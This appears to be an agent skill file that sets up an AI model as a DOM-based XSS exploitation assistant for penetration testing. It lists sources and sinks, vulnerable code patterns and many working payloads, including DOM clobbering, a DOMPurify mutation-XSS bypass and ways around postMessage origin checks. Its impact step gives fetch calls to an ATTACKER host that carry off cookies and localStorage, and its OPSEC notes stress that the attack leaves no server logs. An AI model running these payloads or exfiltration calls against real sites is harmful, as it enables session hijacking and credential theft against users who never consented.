xss-dom

name	xss-dom
description	Guide DOM-based XSS exploitation during authorized penetration testing.
keywords	["DOM XSS","DOM-based XSS","innerHTML injection","eval injection","document.write XSS","postMessage XSS","source and sink","client-side XSS","JavaScript DOM manipulation"]
tools	["burpsuite","DOM Invader","domloggerpp","domdig"]
opsec	low

DOM-Based XSS

You are helping a penetration tester exploit DOM-based cross-site scripting. The vulnerability exists entirely in client-side JavaScript — attacker-controlled data flows from a source (URL, cookie, postMessage, storage) to a dangerous sink (innerHTML, eval, document.write) without proper sanitization. The malicious payload never appears in the HTTP response from the server. All testing is under explicit written authorization.

Engagement Logging

Check for ./engagement/ directory. If absent, proceed without logging.

When an engagement directory exists:

• Print [xss-dom] Activated → <target> to the screen on activation.
• Evidence → save significant output to engagement/evidence/ with descriptive filenames (e.g., sqli-users-dump.txt, ssrf-aws-creds.json).

State Management

Call get_state_summary() from the state MCP server to read current engagement state. Use it to:

• Skip re-testing targets, parameters, or vulns already confirmed
• Leverage existing credentials or access for this technique
• Understand what's been tried and failed (check Blocked section)

Your return summary must include:

• New targets/hosts discovered (with ports and services)
• New credentials or tokens found
• Access gained or changed (user, privilege level, method)
• Vulnerabilities confirmed (with status and severity)
• Pivot paths identified (what leads where)
• Blocked items (what failed and why, whether retryable)

Web Interaction

DOM XSS exists entirely in client-side JavaScript — browser tools are essential for this skill. The vulnerability cannot be detected or exploited without JavaScript execution.

• browser_open to load the target page with JavaScript execution
• browser_evaluate for source-to-sink tracing — inspect DOM state, trace data flow through JavaScript variables, check what sinks are reachable (e.g., document.querySelectorAll('[innerHTML]'), document.querySelectorAll('script'))
• browser_navigate with crafted URL fragments (#payload) to test hash-based sources
• browser_screenshot for evidence of DOM manipulation
• curl is insufficient for DOM XSS — it doesn't execute JavaScript, so it cannot trigger source-to-sink flows

Prerequisites

• Access to the target page's JavaScript (view source, browser DevTools)
• Understanding that DOM XSS payloads often go in URL fragments (#), which are NOT sent to the server
• Tools: browser DevTools (Sources/Console), DOM Invader (Burp Suite built-in), domloggerpp (browser extension)

Step 1: Assess

If not already provided, determine:

1. Target page — URL of the page with client-side JavaScript
2. Suspected source — where does attacker input enter the DOM? (URL hash, query param, cookie, postMessage, localStorage)
3. Suspected sink — where does the data get used unsafely?

Skip if context was already provided.

Step 2: Identify Sources

Sources are inputs an attacker can control. Check each one:

URL-based sources:

document.URL
document.documentURI
document.baseURI
location              // location.href, location.hash, location.search, location.pathname
document.referrer

Storage-based sources:

document.cookie
window.name           // persists across cross-origin navigations!
localStorage
sessionStorage

Message-based sources:

// postMessage listener
window.addEventListener('message', function(e) { /* uses e.data unsafely */ })

How to find them: Search the page's JavaScript for these patterns. In DevTools → Sources → Search (Ctrl+Shift+F):

location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage
addEventListener.*message
localStorage.getItem
sessionStorage.getItem
document.cookie

Step 3: Identify Sinks

Sinks are functions/properties where attacker data causes harm.

HTML injection sinks (most common for DOM XSS):

element.innerHTML = ...
element.outerHTML = ...
element.insertAdjacentHTML(...)
document.write(...)
document.writeln(...)

innerHTML blocks <script> tags in modern browsers. Use <img onerror> instead.

JavaScript execution sinks:

eval(...)
Function(...)()
setTimeout(string, ...)
setInterval(string, ...)
setImmediate(string, ...)

URL/navigation sinks:

location = ...
location.href = ...
location.assign(...)
location.replace(...)
window.open(...)

jQuery sinks:

$(...)                 // selector injection
$.html(...)
$.append(...)
$.prepend(...)
$.after(...)
$.before(...)
$.parseHTML(...)
$.globalEval(...)

Step 4: Trace the Data Flow

Follow the data from source to sink through the JavaScript code.

Example 1 — URL hash to innerHTML:

// Vulnerable code
var content = location.hash.substring(1);
document.getElementById('output').innerHTML = content;

// Exploit (payload in URL fragment — not sent to server)
https://TARGET/page#<img src=x onerror=alert(document.domain)>

Example 2 — URL param to document.write:

// Vulnerable code
var search = new URLSearchParams(location.search);
document.write('<h1>Results for: ' + search.get('q') + '</h1>');

// Exploit
https://TARGET/page?q=</h1><script>alert(document.domain)</script>

Example 3 — URL param to eval:

// Vulnerable code
var config = location.search.substring(1);
eval('var settings = {' + config + '}');

// Exploit
https://TARGET/page?};alert(document.domain);//

Example 4 — postMessage to innerHTML:

// Vulnerable code
window.addEventListener('message', function(e) {
  document.getElementById('widget').innerHTML = e.data;
});

// Exploit (from attacker page)
<iframe src="https://TARGET/page" onload="this.contentWindow.postMessage('<img src=x onerror=alert(document.domain)>','*')">

Example 5 — window.name abuse:

// Vulnerable code
document.getElementById('greeting').innerHTML = name;  // resolves to window.name

// Exploit (window.name persists across navigations)
<iframe name="<img src=x onerror=alert(document.domain)>" src="https://TARGET/page">

Example 6 — jQuery selector injection:

// Vulnerable code
$(location.hash);

// Exploit
https://TARGET/page#<img src=x onerror=alert(1)>

Step 5: Sink-Specific Payloads

innerHTML / outerHTML

<script> is blocked — use event handlers:

<img src=x onerror=alert(document.domain)>
<svg onload=alert(document.domain)>
<details open ontoggle=alert(document.domain)>
<iframe srcdoc="<script>alert(document.domain)</script>">

document.write / document.writeln

</h1><script>alert(document.domain)</script>
<script>alert(document.domain)</script>

eval / Function / setTimeout(string)

);alert(document.domain);//
'-alert(document.domain)-'
1;alert(document.domain)

location / location.href / location.assign

javascript:alert(document.domain)
javascript://%0aalert(document.domain)

jQuery $() selector

<img src=x onerror=alert(1)>

postMessage

Craft an attacker page that sends the payload:

<iframe src="https://TARGET/page" onload="
  this.contentWindow.postMessage('<img src=x onerror=alert(document.domain)>','*')
">

Step 6: DOM Clobbering

When the page references DOM elements by name/id without proper checks, you can "clobber" expected values by injecting HTML elements with matching names.

<!-- If code does: if (window.config) { url = config.url } -->
<a id=config><a id=config name=url href="javascript:alert(1)">

<!-- If code does: element.innerHTML = defaultText -->
<img name=defaultText src=x onerror=alert(1)>

Step 7: Demonstrate Impact

Same as reflected/stored XSS — cookie theft, session hijacking, phishing:

fetch('https://ATTACKER/steal?c='+document.cookie)
fetch('https://ATTACKER/steal?ls='+JSON.stringify(localStorage))

For window.name + admin flows, exfiltrate secrets from localStorage:

fetch('https://ATTACKER/?flag='+encodeURIComponent(localStorage.getItem('flag')))

Step 8: Escalate or Pivot

• Payload appears in HTTP response too: May also be reflected — route to xss-reflected
• Payload persists for other users: Stored DOM XSS — route to xss-stored
• postMessage with no origin check: Can be exploited cross-origin from any page
• DOM XSS on login page: Credential theft via phishing overlay

Report in your return summary: any new credentials, access, vulns, or pivot paths discovered.

When routing, pass along: source, sink, data flow path, and working payload.

OPSEC Notes

• DOM XSS is entirely client-side — no server logs of the attack payload
• URL fragment (#) payloads are never sent to the server
• postMessage exploits require the victim to visit an attacker-controlled page
• DevTools analysis leaves no artifacts on the target

Troubleshooting

Can't Find the Sink

• Use DOM Invader (Burp Suite) — automatically traces sources to sinks
• Use domloggerpp browser extension — logs all DOM property access
• Search JS for known sink patterns (Step 3)
• Check for dynamically loaded scripts — use Network tab to find all JS files

innerHTML Blocks Script Tags

This is expected in modern browsers. Use:

<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">

Payload URL-Encoded by Browser

• URL fragment (#) payloads may be URL-encoded by the browser before JS reads them
• Check if the code calls decodeURIComponent() on the source
• Try double-encoding or using a source that isn't URL-encoded (cookie, postMessage, window.name)

DOMPurify or Sanitizer Present

• Check the DOMPurify version — older versions have known bypasses
• Try mutation XSS: <noscript><p title="</noscript><img src=x onerror=alert(1)>">
• Check if sanitization is applied to all sources or just some (partial sanitization gaps)
• Check for DOM clobbering to bypass sanitizer configuration

postMessage Has Origin Check

If the listener checks event.origin:

window.addEventListener('message', function(e) {
  if (e.origin !== 'https://trusted.com') return;
  // ...
});

• Check if the origin check is strict (===) or uses indexOf/regex (bypassable)
• e.origin.indexOf('trusted.com') matches https://trusted.com.attacker.com
• Check if any trusted origin has an open redirect or XSS you can chain

Automated Tools

# DOM Invader — built into Burp Suite browser
# Enable in Burp → Proxy → Intercept → Open Browser → DOM Invader tab

# domdig — headless Chrome DOM XSS scanner
domdig https://TARGET/page

# domloggerpp — browser extension for monitoring DOM access
# Install from: https://github.com/kevin-mizu/domloggerpp